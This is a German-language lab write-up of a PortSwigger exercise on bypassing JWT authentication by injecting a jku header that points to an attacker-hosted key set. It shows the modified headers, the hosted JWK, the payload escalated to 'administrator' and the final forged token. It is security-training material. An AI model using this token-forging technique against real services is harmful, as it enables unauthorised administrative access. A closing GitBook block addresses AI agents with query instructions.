> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).

# JWT-Authentifizierungsumgehung via JKU-Parameter-Injektion

### JWT-Authentifizierungsumgehung durch JKU-Header-Injektion

**Lab-Hintergrund**

Dieses Lab verwendet einen JWT-basierten Sitzungsverwaltungsmechanismus. / Der Server unterstützt den **jku** Parameter im Header des JWT, der die URL angibt, von der der öffentliche Schlüssel (JWK) abgerufen werden soll, der zur Überprüfung der Signatur verwendet wird.

Die Schwachstelle liegt darin, dass der **Server nicht prüft, ob die in `jku` angegebene URL zu einer vertrauenswürdigen Domäne gehört**. Es ist daher möglich, den Server dazu zu zwingen, einen vom Angreifer kontrollierten öffentlichen Schlüssel abzurufen.

Ziel:

* Einen JWT fälschen, der Zugriff auf `/admin` das Administrationspanel
* Benutzer löschen **carlos**

Bereitgestellter Bezeichner:

* `wiener : peter`

**JWT-Initial**

Ein gültiger JWT wird nach der Authentifizierung mit `wiener` Benutzer:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```

{% endcode %}

**Änderung des JWT-Headers**

Der Angriff besteht darin, den **jku** Parameter zum Header hinzuzufügen, um eine öffentliche URL anzugeben, die auf dem Exploit-Server gehostet wird und als kontrollierter JWK-Schlüssel dient.

Geänderter Header:

```json
{
    "kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```

**Erzeugung eines RSA-Schlüsselpaares**

Auf der Angreiferseite wird ein neues RSA-Schlüsselpaar generiert.

<figure><img src="/files/b0a67d93c179389c4b8c02c23123db124e3dc28d" alt=""><figcaption></figcaption></figure>

Der öffentliche Schlüssel wird in das JWK-Format konvertiert, damit er vom Exploit-Server bereitgestellt werden kann.

<figure><img src="/files/45952b054b8107ee7583b0301f31a822db9d5942" alt=""><figcaption></figcaption></figure>

Öffentlicher JWK-Inhalt:

```json
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```

**Bereitstellung von JWK auf dem Exploit-Server**

Das JWK wird als Schlüsselmenge angezeigt, wie vom Zielserver erwartet:

```json
{
   "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
   ]
}
```

<figure><img src="/files/bae454594dcf9546cec74d425c4ac3a509b9d4e1" alt=""><figcaption></figcaption></figure>

**Abschließender JWT-Header**

Das **kid** Feld wird an das des gehosteten JWK angepasst, und der **jku** zeigt auf die exakte URL der exponierten Datei:

```json
{
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```

<figure><img src="/files/8636eb2b13d440fc2ce232678a029e0e053abafa" alt=""><figcaption></figcaption></figure>

**Signatur und Privilegieneskalation**

Der JWT wird mit dem **privaten Schlüssel** signiert, der dem angezeigten öffentlichen Schlüssel entspricht.

<figure><img src="/files/f68cfc283ae535f7b758472f943ff21236e0ae8f" alt="" width="563"><figcaption></figcaption></figure>

Die Nutzlast wird geändert, um einen Administrator zu übernehmen:

```json
{
  "iss": "portswigger",
  "exp": 1767548841,
  "sub": "administrator"
}
```

Abschließender JWT:

```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```

<figure><img src="/files/d0e175c99a9d6b7ff51310bfd352a74c411a542a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
